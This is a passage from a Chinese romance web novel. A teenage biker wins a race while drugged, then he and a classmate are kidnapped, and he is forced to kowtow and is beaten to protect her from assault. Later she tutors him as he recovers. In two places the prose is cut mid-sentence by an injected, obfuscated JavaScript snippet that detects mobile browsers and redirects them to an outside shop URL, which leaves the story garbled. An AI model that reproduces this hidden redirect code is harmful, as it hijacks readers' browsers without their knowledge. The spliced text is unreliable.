驰路现在很烦也很躁,对谢劲舟帮她解围她表达了谢意,但并不代表,她可以接受他的说教。 她把头盔往谢劲舟怀里一塞,气得不想跟他说话,径自往前走,走到门口,刚想推门,却听到身后传来沉磁的声音: “阿驰,以后不要穿那么暴露,不是不好看,很好看,但在我们这儿,穿太暴露是原罪,尤其在酒吧这样的场所。今天是这个浑蛋骚扰你,那下次呢?如果还有人骚扰你,你要怎么办?” “你舟哥不是什么神人,这次正好发现了你,帮了你,那下次呢?下下次呢?” “阿驰,我不想看到你被人欺负,不想看到你受委屈低头的样子,不想看到你受伤的样子。” “如果你下次还去酒吧演出,不管去哪个酒吧,超过晚上九点,你都可以提前告诉我时间、地点,我会去接你。” “不管是秋天,还是冬天,不管是晴天,还是雨天,只要在芳町镇,老子都会去接你!” * 驰路躺在床上,脑中不禁回响着谢劲舟跟他说的那段话。 她以为他在责怪她,以为他要以一个长者的姿态跟她说教,没想到,他这个痞里痞气的大佬竟然会跟她说出那样的一番话。 被人羞辱时,她没哭;被人打脸时,她也没哭,但听到谢劲舟跟她说了那段话后,她哭了。 泪水顺着脸颊掉落,在暗夜里,在栾花巷32号的院墙门口,驰路一步一步走上前,走向身前如树矗立般的高大身影,抱住他,埋在他的肩头,肩膀一下一下地抖动着,宛若秋日枝头簌簌发抖的枯叶。 她不知道自己哭了多久,也不知道他什么时候揽住她的肩头,轻轻地拍着她的背。 夜没有温度,月亮也遥不可及,但似有一点星光,溜进了她破裂而浅薄的世界里。 她躺在床上,久久不能入眠,干脆来到阳台,倚靠在栏杆上,抬头看着透着薄薄昏黄色的月亮,圆盘似的,洒下一片清辉。 驰路不禁侧头看左边,那里无人,旁边的房间静悄悄的,他应该睡着了。 她拿出手机,朝夜色拍下一张照片,发了一条朋友圈:再黑的夜,也会有月亮。如果没有,它一定在跟你捉迷藏。幸好,我的月亮,没跟我捉迷藏。 该朋友圈设置了,仅自己可见。 她不知道,在另一个房间,有一个人没睡,走到了门后,想要开门,但没开,静静地站着,看着倚在栏杆处的她。 * 谢劲舟参加的摩托车比赛在芳町镇的隔壁镇——平安镇。 比赛当天,驰路坐着谢劲舟的摩托车,一路驰骋过去。 出发时,天空刚泛出青色,抵达时,远处地平线已有朝霞漫出。 比赛地点定在平安镇的一个小村庄,依山而建,风景秀丽。 驰路站在道路旁,看着跑道上仅有的一辆深蓝色摩托车疾驰。 摩托车上的身影穿着蓝白色的车服,伏在摩托车上,身姿矫健如豹,经过她身旁时,摩托车的引擎声震耳欲聋,划破寂静。 比赛时间是中午11点,谢劲舟却在日出之前赶赴比赛点,提前练习,熟悉场地。 驰路问谢劲舟为什么要这么拼,他说:“我不是拼,我只是想在我的能力范围内,做到最好。” 驰路想到了她高二下学期的那段学习时光,比别人睡得晚,比别人起得早,用半年的时间,疯狂学习。 彼时,她才明白,这世上没有轻轻松松的成功,所谓的得偿所愿,背后是无数个日日夜夜的付出。 这是她第一次看到人前赛车厉害的谢劲舟,其实在人后,也在用他的方式默默努力。 谢劲舟在比赛场上开过一圈又一圈,直到大汗淋漓才停下来,驰路给他递水,问他要不要先吃点。 因为这次比赛,在比赛场外摆了一排小摊,他们找了个拉面摊坐下,吃饭时,罗子昂、秦深都来了。 他们正聊着天,听到摩托车开过的声音,卷得尘土飞扬,又听摩托车刹车声,有人说:“健哥,这不是舟爷吗。” 驰路抬头看,摩托车上的几个人都比较眼熟,尤其是坐在红色摩托车上的男生,染着张扬的红发。 她认出来了,他是上次跟谢劲舟比赛的陈健。 陈健抬上头盔上的护目镜,看向谢劲舟,带着挑衅意味道:“看今天我怎么赢你!” 谢劲舟没说话,懒懒地一抬头,朝他比了个小拇指朝下的动作,神色冷酷,像在告诉他:“你这孙子永远是老子的手下败将!” 陈健看得不爽,想要下车,被一旁的哥们拦住:“健哥,咱走吧。” 陈健胸口堵着一口气,抬手指着谢劲舟,语气愤愤:“等着瞧!” 等他们走后,罗子昂说:“舟爷,你这次怎么着都要拿个第一回去。” 其他小弟说:“咱舟爷必须拿第一啊,就算不为了赢,也要为了那一等奖啊。” “一等奖多少钱?” “三千。” 别人都在乎自家老大会不会赢,但驰路觉得能赢自然好,但如果是以受伤为代价,她倒希望他落于人后。 比赛前,她跟谢劲舟说:“舟哥,我知道,对你来说,一等奖重要,赢更重要,但我希望你能安然无恙。” 起始线前的一排摩托车蓄势待发,驰路看着伏在蓝色摩托车上的谢劲舟。 随着一声枪响,阵阵轰鸣的摩托车声随之响起,场外传来此起彼伏的欢呼声。 一辆辆摩托车如离弦之箭向前疾驰,场面恢宏壮观。 观众席上的女生们站了起来,摇着手里自制的小旗帜,尽情呐喊。 驰路也站了起来,在众多呐喊声中,喊着:“舟哥加油!” 不旗开得胜也没关系,尽力了就好。 第一圈时,谢劲舟跟陈健的红色摩托车并驾齐驱,拐弯时,陈健加速超车,又有一辆黑白色的摩托车超过。 罗子昂有先见之明,带了喇叭,高声喊:“舟爷旗开得胜!” 距离看台太远,谢劲舟根本听不见他们的喊声,耳边充斥着呼啸的风、摩托车的轰鸣,他不急不缓地跟在前面两辆车后面,伺机而动。 第二圈拐弯时,谢劲舟加速压弯超车,连续超前面两辆车。 驰路高兴地为他摇臂呐喊:“舟哥真棒!” 罗子昂兴奋地对着喇叭喊:“舟爷牛X。” 其他弟兄们亦是兴奋欢呼。 一共五圈,驰路知道,还没到最后,不到最后一刻,谁都不会知道结局。 第三圈时,谢劲舟保持第一,但后面红色摩托车、黑白色摩托车咬得格外紧,只要他一个松懈或一个不备,都有被超越的风险。 有的摩托车在拐弯时,急于超越,一个不稳,人从摩托车上甩了下来,直接出局。 其他摩托车依然风一般驰骋,每个摩托车手都似追风少年,凭着一股热血,向前疾驰。 原本碧蓝如洗、艳阳高照的天渐渐暗下来,飘来片片乌云,天变成了铅灰色。 各色摩托车上贴着号码,谢劲舟的那辆车前贴着12。 看客眼中的12号风驰电掣,是赛车里的佼佼者,开得又猛又稳,举着小旗帜的女生们,纷纷喊着:“12号加油!12号加油……” 喊声震天,传到驰路耳中,她的心里升起一股自豪感。 但谁也不知道,此刻的谢劲舟感到头一阵晕晕乎乎,眼睛也有些模糊。 他不知道自己怎么了,努力闭上眼睛,又努力睁开,试图看清眼前的路,却像罩了一层纱,朦朦胧胧。 为什么会这样? * 第四圈时,谢劲舟几乎保持匀速前进,看到红色摩托车、黑白色摩托车先后超过自己,心里翻腾起一阵燥意。 驰路停住呐喊,握紧双手,很快出了一层薄汗。 罗子昂不喊“舟爷旗开得胜”了,转而喊“舟爷加油”,一声高过一声,气势上不能输。 谢劲舟不只是头晕眼花了,浑身也开始有些虚软,拐弯时,差点被一辆车挤得摔倒,及时吻住,进入直道,努力让自己专注眼前的赛事。 超越他的车越来越多,从两辆到三辆,再到四辆。 这样的情况,还是第一次发生,谢劲舟又躁又无力。 最后一圈了,输赢就在此刻,就在几十秒内。 他想赢,他要赢,不仅仅为了那三千元,也为了荣耀。 他的眼皮越来越重,他努力撑开,须臾,又不得不闭上。 直到耳边传来熟悉的烟嗓,一遍遍用力地喊着“舟哥加油”,像打了一针兴奋剂,努力让自己睁眼,扶紧扶手,继续踩油门,向前冲刺,超越一辆,又超越一辆。 看台上的解说员激动地说:“12号超过16号,又超过32号,超过24号!快超越8号!” 贴着8号的红色摩托车和贴着12号的深蓝色摩托车咬得很紧,但8号一直压着12号,丝毫不给12号超越的机会。 天越来越阴沉,赛场被灰色笼罩,但那辆深蓝色的摩托车和穿着蓝白色车服的谢劲舟,在一群摩托车里,依然那般醒目,像一艘徜徉在海里的舰艇,破浪前行,勇敢冲刺。 剩下几十米即将到达终点,驰路不喊了,屏住呼吸,下意识攥紧喇叭,眼睛直直地看着咬得很紧的最前面的两辆摩托车。 舟哥加油! 谢劲舟加油! 驰路在心里默默地喊着。 最后一刻,12号超越8号,解说员进行着慷慨陈词:“12号绝地反击,勇夺第一!” 谢劲舟从摩托车上站起来,舞动双臂,仿佛夺下对方领土的国王。 没有金戈铁马,没有四起硝烟,却用实力,赢得天下。 他是国王,被万丈光芒笼罩的国王。 现场的女生看得热血沸腾,掀起一阵阵浪潮般的欢呼声、尖叫声,掩盖了驰路小声说的那句:“不管玫瑰会不会开,我都会为你摇旗呐喊。” 这边的热闹和欢呼,在谢劲舟耳中是越来越模糊的喧嚣,眼前的光也越来越虚。 摩托车在惯性下,继续往前驶去,他感受到风、乌云、青草香,感受到前所未有的自由。 他挥舞的双臂,像一面不倒的旗帜。 他赢了,在神志几乎要被理智扑灭的时刻赢了。 在千千万万人潮中,他看到了穿着白色连衣裙的驰路。 来之前,看到她穿白色连衣裙,他多看了几眼。 她一向是长裤、T恤的打扮,没见她穿过连衣裙,还是白色的。 他看她时,她说:“我穿裙子,是不是也不错?” 是不错,但他没回答,她继续说:“这可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560773|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我刚买的,一身白,醒目,我希望,你能在人群里看到我,看到我为你加油!” 他没告诉她,不管她穿什么衣服,是什么装扮,他都会在人群里找到她。 他找到她了,他的白色蝴蝶。 * 谢劲舟靠着意志力将摩托车开到了停车处,回去找驰路时,却被两个人带走,对方戴着口罩,他不知道是谁,想要摆脱,但浑身虚软无力。 眼前越来越模糊,越来越黑,最后陷入黑暗。 醒来,是被一盆冷水浇醒的,脸上、眼睫上都挂着水珠,沿着脸部轮廓滑落,落到利落的下颚线上、凸起的喉结上,再啪嗒落入衣服。 头依然昏昏沉沉,像吃了感冒药似的,想睡上一觉。 努力睁眼,看到赛车服被脱了,只剩下里面穿的紧身车服。 谢劲舟下意识想抬手擦掉脸上的水,却发现手被绑在身后,正以坐的姿态被绑在椅子上。 他看了看四周,发现自己在一个破旧的烂尾楼里,四面漏风,外面正下着雨。 谢劲舟心头顿时腾起怒火,是谁趁人之危给他下药了?不想让他在比赛的时候赢,现在还将他抓了过来。 他抬头,看到了几个戴着黑色口罩的男人,难道是陈健找来的人?见下药没能赢自己,就绑来教训自己。 之前他听杜浩说,陈健这人不好惹,别去招他。 为了赢,陈健使下药的手段? 口罩男们越走越近,其中走在中间的男人走到他面前,抬起他的下巴,上去就甩了他两个耳光,拍着他的脸,以一种高高在上的姿态羞辱他:“谢劲舟,你也有今天!” 谢劲舟不卑不亢地抬头看他,面色凌厉似刃,声音冰冷锋利:“你是谁?” “老子是谁,你没必要知道。”口罩男抓起谢劲舟的头发往后一扯,“老子给你看样好东西。” 口罩男一抬手,后面两人拖出来一个人,左右架着,像拖着一块抹布。 这人不是旁人,而是驰路,她的嘴巴里塞着一块布,看到谢劲舟时,嘴巴里发出咿咿呀呀的声音,却听不清在说什么。 谢劲舟看到这一幕时,比自己被绑还要气愤,火气蹭地冒出,气得双手捏紧,咬牙跟眼前的口罩男说:“要是让我知道你是谁,爷一定不会放过你!” “爷?”口罩男先是一本正经地说,随后笑了起来,“我会让你知道谁是爷!” “给他松绑。”口罩男一声令下,谢劲舟的手从椅背上松绑,但他的双手、双脚仍被反绑着。 “跪下!”口罩男看着扬着下巴不甘示弱的谢劲舟。 虽然他比谢劲舟要矮一头,但现在他占上风,他是赢家,是指挥官,他说什么,眼前这个输家必须要听,但输家非但不听,还一副赢家的姿态,他就不高兴了。 “不跪是吧。”口罩男示意驰路旁边的男人解她的衣服。 白色连衣裙的拉链在后背,男人把驰路一转,让她背朝谢劲舟,作势要去拉她的拉链,却被驰路踩中脚,疼得松手跳脚。 “臭娘们,竟然踩我!”男人气得急忙去拉驰路的连衣裙拉链,却被驰路避开,抬腿朝他一脚踹去,踹上他的胸膛,力道之大,直接将人踹倒在地。 驰路转身去踢另一个男人,一个飞旋腿,将人踢得连连往后退了几步。 口罩男看得有些慌,急忙叫其他几人绑住驰路。 在其他人的围攻下,被绑住双手的驰路渐渐落于下风,被绑住双脚,绑在了椅子上,跟谢劲舟对视,眼睛里透出倔强,朝他摇着头。 谢劲舟知道她什么意思,她不想让他下跪。 但他们都是俎上鱼肉,此刻的命运被掌握在他人手中,由不得自己。 假如他的尊严可以换取她的清白,他愿意做出牺牲。 他从不向任何人低头,也从不向任何人妥协,但说好了,他是她唯一的神明,神明就该守护他唯一的信徒。 男人的手即将要拉开她的白色连衣裙,她眼里透出倔强,又夹杂着一丝无助。 他的蝴蝶应该永远纯白无瑕,永远活在光明里。 他看到她后背露出一点冷白肌肤,握紧拳头,眼底冒火,心头的愤怒燃烧着,但他不得不为了他的蝴蝶低头、妥协。 “住手!”气氛几乎冷凝的空间里,响起凛冽的声音,比外面的雨声更冷。 “是不是要乖乖给老子跪下了。”口罩男眼中露出得逞的笑意,用肯定的口吻说。 口罩男示意男人停下,走到驰路身前,用脚踢着椅子往前推,故意推到离谢劲舟一米的距离,邪恶地用手指摸着驰路后背露出来的肌肤。 驰路感到一阵恶心,下意识地晃了晃背,试图想要摆脱口罩男的魔爪。 谢劲舟胸口的怒火更甚,闭上眼睛,一点点弯腰、屈膝。 咚的一声,膝盖落地。 往日种种被人霸/凌的画面再次在脑中重现,少年人应有的脸面、尊严,都在这一跪中,尽数粉碎。 口罩男第一时间转了驰路的椅子,让她看着谢劲舟,拔掉了她嘴里的布。 驰路没有开口,嗓子里像堵着什么,说不出话。 眼前这个冷峻的少年,此刻,耷拉脑袋,弓背弯腰,身体微微颤抖着,像被人压断了脊梁,成了悬崖边,那棵摇摇欲坠的树。 她眼睁睁地看着他为自己下跪,又怒又无助,眼睛酸涩,悬着一层水光。 “给老子磕响头。”口罩男给谢劲舟下指令。 57. 舟爷收到第一份礼物 「Z,你也是有翅膀的,你也可以飞! 你要走进光里。 像阳光刺穿黎明。」 ——《小蝴蝶的日落》 愤怒、燥意在谢劲舟的胸腔里奔腾,他想做点什么,想反抗,想把自己的尊严一片一片地捡起来。 但他是弱者,落于下风,什么都做不了,还要继续让人践踏。 第一次,不是因为自己,而牺牲尊严。 谢劲舟缓缓睁开眼,看着面前的水泥地,咬牙要磕头时,却听到前方有人用烟嗓说:“谢劲舟,别这样。” 谢劲舟抬头,看到一向高傲的驰路,又痛苦又无助地看他,心顿时像被人揪起,生生的疼。 他知道面对眼前的这帮浑蛋,他们不达目的不罢休,他别无选择。 谢劲舟又低下头,弯腰,“砰”的一声,额头与水泥地撞上。 驰路看得心如刀割,泪水忍不住从眼眶里滑落,嗓音涩涩的:“谢劲舟,你停下。” “孙子,抬头看看这儿!”口罩男指挥谢劲舟。 他这是想看他出糗,看他被欺凌后的狼狈模样,变态!人渣! 谢劲舟忍着怒意抬头,第一眼看到了哭着的驰路,心被揪疼得越发厉害。 多希望这场欺凌赶紧结束,多希望他的蝴蝶不要掉眼泪。 但这仅仅是开始,磕响头仍在继续。 “磕得再响点!”口罩男明显很乐于看见谢劲舟磕响头,看他磕得越响笑声越大,露出一嘴的大黄牙和牙花。 驰路看着谢劲舟一下又一下地磕响头,如坠泥潭深处,被万千把刀凌迟。 她嘴里一遍遍地说着:“谢劲舟,你给我停下。” 但不管她说多少遍,他都没停下,磕了一个又一个。 口罩男似乎并不满意他的力度,走到他身前,拽起他的雾霾蓝头发,把他的额头往地上砸,一下一下,比刚才更响。 连续被按头磕了二十个响头,磕得额头上满是鲜血,水泥地上也沾了血,零零落落,是被人践踏一地的尊严。 谢劲舟磕得头昏眼花,磕得尊严碎落。 外面的雨越下越大,啪嗒啪嗒地砸在这座烂尾楼上。 楼外,暴雨如注,雨雾蒙蒙;楼内,磕声响亮,笑声猖狂,气氛呈现两种极端的诡异。 驰路眼睁睁看着他为自己磕响头,什么都做不了,巨大的无力感和绝望的情绪将她裹挟。 他每磕一次响头,就像有人在她心间狠狠剜着。 她的声音越来越小,越来越嘶哑,像失去力气的小兽,亟需拯救。 当他抬头时,驰路看到他已满脸鲜血,额头上两股新鲜的血往下流,流入眉眼、鼻尖、唇上,薄唇红得惊心动魄,透着凄惨的冷感。 她已满脸是泪,模糊了双眼,想擦掉眼泪,好好看一看谢劲舟,却无能为力。 谢劲舟,你这傻瓜,全天下最大最大的傻瓜! 欺凌并没有就此结束,口罩男一个挥手示意,三个男人操着木棍朝谢劲舟身上砸去。 谢劲舟被绑住手脚,双膝跪地,完全是一副任人宰割的模样。 他再次成为被欺凌方,迎来无情的棍棒。 被打得蜷缩在地,如被暴雨击垮的树,树枝弯了、断了。 他的世界从来都是黑暗的,什么时候天才会亮? * 直到将谢劲舟打得趴在地上,以一种完全臣服、卑贱的姿势示人时,那帮人才得意离开。 他们都没被松绑,仍被绑着手脚,驰路还被绑在椅子上。 她看着像一摊烂泥趴在地上的谢劲舟,心痛如绞,拖着椅子,膝盖跪地,一下一下地朝他挪去,如一只缓慢爬行的蜗牛。 椅子擦过水泥地,发出刺耳声响,划过一道道长长的痕,直直的一条,通往谢劲舟。 他被拖拽到了楼边,暴雨已将他完全打湿,整个人湿漉漉的,狼狈不堪,又卑微至极。 “谢劲舟。”驰路轻轻唤着他的名字,嗓子哑得不行,像被什么利器磨破。 谢劲舟没动,静静地趴着。 雨水狠狠地砸在他身上,打湿了他的紧身车服。 中午在赛场上热血沸腾的王者,此刻却像被敲碎了脊梁骨,失去了所有力气,跌落尘泥。 “谢劲舟。”驰路往他的身边再挪过去一步,再次唤他的名字。 挪时,膝盖传来疼意,她却浑然未觉,眼中都是谢劲舟,这个为她磕响头,被人暴打的谢劲舟。 她想起来上次小巷被人围堵差点欺辱,是谢劲舟帮她解围。 这次,会不会是那□□之举? 以她为诱饵,让他乖乖妥协、乖乖磕头。 如果是这样,她便欠他一份还不掉的人情。 思及此,驰路的心越发疼得厉害,很想抬手将谢劲舟扶起来,看看他怎么样了,很想将他立刻送往医院。 但她现在只能无力地喊他,在距离他只有几厘米的时候,她停下,想抬膝盖轻轻推他,却发现他的身体动了下,艰难地抬头。 驰路心头一滞,直直地看他,终于看到他的脸,一张满是血污和雨水混合的脸。 他的眼睛还是那般深邃、明亮,似深海,似夜空,似不灭的灯火。 驰路第一次看到如此狼狈不堪的谢劲舟,心被高高提起,悬在高处,生疼生疼。 她原本已经哭成了小花猫,此时,泪水再次夺眶而出,在没有血色的脸上纵横,宛若破碎的瓷娃娃。 她看到谢劲舟努力地继续抬头,艰难地勾起受伤的唇角,朝她露出一个看似轻松的笑容,用沉磁的嗓音说:“阿驰,别哭,老子没事。” * 国庆假期结束,芳町三中的学子们又开始了学业生活,高三年级的大多数同学都发现了一件事:高三七班刚上学没多久的谢劲舟又缺席了。 一时间,芳町三中贴吧里都在猜测这次谢大佬会多久归校,有的说几天,有的说十几天,还有说几个月的,甚至还下了赌注。 暗恋谢大佬的女生们,依然天天跑到高三七班最后面的窗户边查探情况,看看自己心仪的大佬来了没有,但次次都以失望告终。 节后的月考结束,成绩公布,驰路的排名掉了下来,从之前的年级第二,掉到年级十二,班级第二,掉到班级第五。 但好在没人去挑谢劲舟前面的位置,她依然坐在了原来的位置,江迟依然是她的同桌,前面依然坐着许婉、岑语欢。 一切好像没变,但又有什么变了。 后面的那张座位空着,就这样,一直空了一周。 谁都不知道,谢大佬这次不来学校,是受了伤,在家里养伤,跟老马请了一周的假,但课程一点没落。 这周,驰路特意跟老马申请不上晚自习,帮谢劲舟补课。 补课大业并非一帆风顺,起初,谢劲舟那间房晚上紧闭,除了谢林乔,谁都不让进,驰路敲了几次,他置若罔闻,她给他发信息,他也不回。 他把自己封闭在一个小小的空间里,消化被人碾碎尊严、被人打得狼狈带来的伤害。 事发后,驰路要带他去医院,他死活不去。 不就是被人揍了一顿吗,没必要去医院。 这样的暴揍和侮辱,之前他经历过很多次,每次都没去医院,每次都不抹药,每次都生生熬过去。 他想记住那些阵痛、那些伤疤,那些伤害过他的人。 他会找机会还击,不会放过那些人。 他做到了,这次也不会放过那帮人! 那天从烂尾楼出来,得益于去那儿睡觉的流浪汉,帮他们松绑了。 松绑的那一刻,驰路第一时间跪在地上,浑身颤栗着,抱住趴在地上的谢劲舟,久久地抱着,像怕失去什么。 谢劲舟想动,浑身却像散了架,每一处都是疼的。 最后,他使出全身力气,抬身,也以跪的姿势抱住驰路,揉着她的脑袋,抬手轻轻拂过她右眼尾的胭脂痣,再一点点移到她的眼睛下方,轻轻地帮她擦眼泪,哑声说:“阿驰,没事了,舟哥带你回家。” 受伤的谢劲舟被驰路搀扶着走出烂尾楼,一路缓慢而艰难地走到空旷无人的路边。 穿着紧身车服的谢劲舟,微微弓背,靠着驰路,单手搭在驰路的肩头。 大雨纷飞,他们是两个相互依偎在一起的灵魂,在潇潇冷雨中,给予对方所有的余温。 神明,终于护住了他唯一的信徒。 信徒,终于将下沉的神明捞上岸。 他们在暴雨时分,做彼此的春光。 他们走了很远很远的路,走到天快黑时,终于拦住了一辆路过的车。 驰路执意让司机送他们先去最近的一家医院。 经过全身检查后,谢劲舟受的伤,触目惊心,但都是皮外伤。 医生开了药,驰路当晚想帮他抹药,他把她往外推,关在门外。 他不想让她看到自己如此不堪的一面。 驰路见他把自己关在房间里,又试了又一种方法,写纸条,从门缝里递过去。 不管他看不看,她想努力做一做。 她忘不了口罩男那狭窄的眼睛,后来想起,跟巷子里堵她的男生应该是同一个人。 如果真是那晚在巷子里堵她的那帮人,那谢劲舟的伤便是因她而起,她总要做点什么。 她写了三张纸条,谢劲舟都看见了,三张纸条静悄悄地落在门后,起初,他只瞥一眼就收回视线。 他躺在床上,闭着的眼睛,时不时睁开,下意识去看门后的纸条,看完又紧紧闭眼。 就这样来来回回折腾了十几分钟,谢劲舟到底没忍住,下床走到门边,弯腰捡起了那三张纸条,看了遍,便理清了顺序。 “舟哥,你不是说我是谢家人吗,现在你受伤了,我这个谢家人是不是要照顾你?” “谢劲舟,你不开门,是不是不认我这个谢家人了?” “我知道,你不想让我看到那些伤,会觉得丑。但你知道我怎么想吗,那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560774|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤,一点都不丑,它们是谢大英雄勇敢救下阿驰的勋章。” 驰大小姐也是有脾气的人,但这样有脾气的人,对他,温柔法、激将法,全使上了。 谢劲舟几乎能想到驰路在写这些纸条时的表情,忍不住笑了,一笑,扯起唇角,有些疼。 当晚,谢劲舟开了门,还故意将门撞到墙上发出声响。 果然,没一会儿,驰路来找他了,给他皮开肉绽的身体上药。 那晚,过了很久驰路才睡着,脑中全是谢劲舟身上的伤,被打时很疼吧,抹药时也很疼吧。 即使被打了那么多下,受了那么多皮外伤,谢劲舟愣是没哼一声。 她轻轻地给他的伤口上药:“很疼吧。” 谢劲舟反而牵唇轻笑:“怎么,心疼老子?” 驰路说:“谁心疼老子,我心疼舟舟子。” * 自那天后,驰路当起了驰老师,谢大佬成了乖乖听课的谢同学。 学习氛围一下子变浓,带动了爱玩的谢林乔搬来小桌子、小凳子,窝在房间里看书、写作业。 除此之外,驰路还每天帮谢劲舟上药,额头上、身上,每处都细细涂抹。 淤青一道道,触目惊心,在之前的伤痕上蜿蜒。 每次谢劲舟都嫌弃她涂得太慢,有一次跟她说:“你涂这么慢,是想看老子的身体?” 鬼才稀罕看他的身体! 涂慢点,涂细致些,希望不留下疤痕。 除了抹跌打损伤药,还会抹祛疤药。 事后,谁都没提这次的事,但驰路却从罗子昂那儿听说,谢劲舟找到了上次绑走他们的人,还找人狠狠揍了对方一顿。 以暴制暴,驰路之前见惯了,也没觉得不对。 尤其是少年人的恶意和暴力,从不掩饰。 后来,梁清安告诉她:“以暴制暴是最无能的表现,如果有本事,应该用智慧阻断暴力,智慧不行,就拿起法律武器保护自己。” 这话有一定道理,但每个小地方都存在着该有的生存法则,来自最原始的决斗,弱肉强食。 你弱了,别人欺你一头;你强了,别人退让三分。 有时,这世界没什么道理可讲,拳脚之下,胜者为王。 谢劲舟有他的处理方式,她无权干涉。 他是芳町镇大佬,是一头不服输的野兽。 谁冲进他的领地,他必然会还击。 这个还击者却像什么事都没发生一样,依然做着他的好好学生,还让驰路找老马要了份月考试卷,以此来检验这段时间的成效。 驰路当了批卷老师,成绩一出,各科成绩都有所提高。 …… 当晚,两人坐在二楼的阳台上,喝罐装啤酒庆祝。 两人都摇晃着啤酒罐,晃到听到里面的气泡,一起单手打开拉环,两股白色泡沫砰地从罐口炸开,像炸开两束白色焰火。 烟火后面,是两个笑得恣意张扬的少年人。 他们碰罐,敬学习,敬彼此,敬奔腾的青春。 驰路笑着说:“谢同学,再接再厉!” 谢劲舟说:“驰老师,一起加油!” 谢劲舟望着天空,深沉的夜幕中,挂着一枚月亮,缀着几颗星星。 他的天空,好像没那么黑了。 他好像不用烂在芳町镇。 他找到了可以继续往前走的路。 黎明来临之前,深渊里的野兽,终于上岸。 那晚,谢劲舟收到了驰路送给他的第一份礼物——一把银质复古打火机,上面有半个羽毛翅膀,写着wishyoucanfly。 她说:“舟哥,打火机送你,庆祝你赛车得冠军,这次分数提高。” 但她没说,这打火机不是专门为了庆祝他得冠军和庆祝他分数提高而买的,而是九月底的一天,下了晚自习,许婉跟她说,要给程佑白买礼物,问她送什么,她开玩笑说,送他一把新吉他。 跟许婉分开后,驰路骑着自行车回家,迎着秋日的晚风,望着川流不息的车辆和人流,忽然想到了谢劲舟,想到了在这近三个月,他对她的照顾。 那晚,她开了手机导航,沿路去找打火机专卖店,几乎绕了整座小镇,终于在最东边找到了那家店,挑了想送他的那把打火机。 这把打火机一直被她放在枕边,提醒着自己什么时候送给他。 这次是个好机会,她送出去了。 世界张牙舞爪,黑暗无处不在。 但她想让他知道,虽然世界张牙舞爪,但也会生出温柔的翅膀;虽然黑暗无处不在,但光明也会找到栖息的方向。 驰路继续说:“舟哥,你不用一直陷入深渊,你可以与悲惨命运共舞,也可以沿着命运的隧道,去找到自己的那双翅膀,飞往更高处。” “没有谁生来就应该陷在什么地方。走不出来,不过是自己给自己戴的枷锁。” “你可以走进光里,就像天亮了,太阳终究会升起。” 58. 谢劲舟的妞儿? 「夏日绚烂,但你更耀眼。 比星光还璀璨。」 ——《引路星》 缺席一周的谢劲舟归校了,驰路后面的座位不再空荡荡,她不用在上课时偶尔分神,想着他在家会做什么。 上次月考成绩排名下滑,给驰路带来了小小的打击,但也就那么一下,很快恢复元气,投入到紧迫的学习中。 她知道,排名下滑,跟她考试时分神有关,导致犯了一些低级错误,比如选错了题、写错了公式。 周一课间操后,班长站在讲台上,跟大家说下周的运动会,女子三千米少两个人,谁踊跃参加。 谁都知道跑三千米费力,谁都不想报。 班长说:“为班争光的时候到了,大家积极点参加啊!” 班级里该闹的闹,该吵的吵,没人接班长的话茬。 班长没放弃,继续说:“高三了,最后一次运动会,你们就不想给自己的高中生涯划个圆满的句号,不留一点遗憾?” 吵闹的学生有的静了下来,像在思考着什么。 这时,有人举手说:“我报!” 大家朝此人望过去,竟是身材娇小的岑语欢。 “语欢,你不是不喜欢跑步吗,竟然报三千米!你不想活啦!”许婉大为震惊。 “班长说得对,最后一次运动会了,我不想让自己留下遗憾。”岑语欢转身去看斜后方的驰路,“驰路,你不是参加过三千米长跑吗,还获了市里第一,要不要一起?” 岑语欢之前在驰路的详细个人介绍里看到过。 许婉倒是第一次听说,原来自己的好友竟然还是隐藏的跑步冠军,看她那高挑纤瘦的身板,完全看不出来啊。 江迟说:“驰路,你要是有实力的话,可以踊跃参加啊。” 驰路没有立刻做决定,直到中午吃完饭,才去找班长报名。 许婉朝她竖大拇指,夸赞她勇气可嘉。 她其实不想参加,但又想参加。 不想参加是不想出风头,想参加是因为之前每年的运动会她都会参加,都会在三千米长跑中夺冠,这次她要是参加,能给自己三年的高中时光,划上圆满的句点。 * 久不长跑的驰路,从此开启了每晚都会在上完晚自习去操场训练。 训练的第一天,岑语欢跟她一起,两人迎风奔跑,曾经两个心存芥蒂的女生,在此刻是两个并肩向前的战士。 跑完第一个三千米后,两人都气喘吁吁、满头大汗。 岑语欢跑得快要虚脱,浑身散了架似的,正扶着膝盖喘气。 她看着站得笔直的驰路,像一棵挺拔的树,看她的样子,还能再跑个三千米。 刚才跑时,她知道驰路一直在放慢脚步,一直在等她。 她没想到驰路会这样,以为她会一个劲儿地往前跑,跑到终点再用得意的眼神看她。 在学校里,谁都觉得驰路乖得不行,但岑语欢见过她的另一面,穿衣个性化,眼神傲得不行。 她是从大城市来的姑娘,听说曾经家里很富裕,必然是在蜜罐里长大的公主,即使再装,眼里的傲,是怎么藏也藏不住的。 她对谢劲舟的心思,驰路应该能看得出来,但她没从说过一句,跟她保持着该有的边界感。 她们的关系,不好不坏,正常同学关系。 如果不是岑语欢想通,放下对谢劲舟的喜欢,现在只怕在同学关系上,还会再加个情敌关系。 岑语欢缓过劲儿后,站直了身体,仰头看比她高半头的驰路:“为什么要等我?” “不是说好要一起训练吗。”驰路说,“不过,我就等你这一次,下次不能再等了。” 